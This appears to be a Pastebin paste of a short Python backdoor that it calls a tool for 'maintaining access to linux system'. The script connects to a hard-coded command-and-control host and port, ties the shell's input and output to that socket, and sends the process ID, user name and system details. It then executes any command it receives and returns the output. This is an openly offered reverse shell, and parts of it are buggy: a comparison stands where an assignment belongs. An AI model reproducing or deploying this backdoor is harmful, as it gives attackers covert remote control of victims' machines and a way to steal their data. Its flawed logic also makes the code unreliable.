Guest User

Untitled

a guest
May 8th, 2020
101
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. # Tool for maintaining access to linux system
  3. import os, sys, socket, subprocess, time
  4. host = "192.168.1.68"
  5. port = 31337
  6. connected = "false"
  7. # Connect to C&C server
  8. while connected == "false":
  9. try:
  10. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. s.connect((host, port))
  12. connected == true
  13. except:
  14. time.sleep(5.0)
  15. #information sending can't be in loop
  16. while True:
  17. os.dup2(s.fileno(), 0)
  18. os.dup2(s.fileno(), 1)
  19. os.dup2(s.fileno(), 2)
  20. pid = "PID: " + str(os.getpid()) + "\n"
  21. user = "Current User: " + os.getenv("LOGNAME") + "\n"
  22. system = "System: " + str(os.uname()) + "\n"
  23. info = pid + user + system
  24. s.sendall(info)
  25. data = str(s.recv(1024))
  26. p = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  27. STDOUT, STDERR = p.communicate()
  28. s.sendall(STDOUT)
  29. s.sendall(STDERR)
RAW Paste Data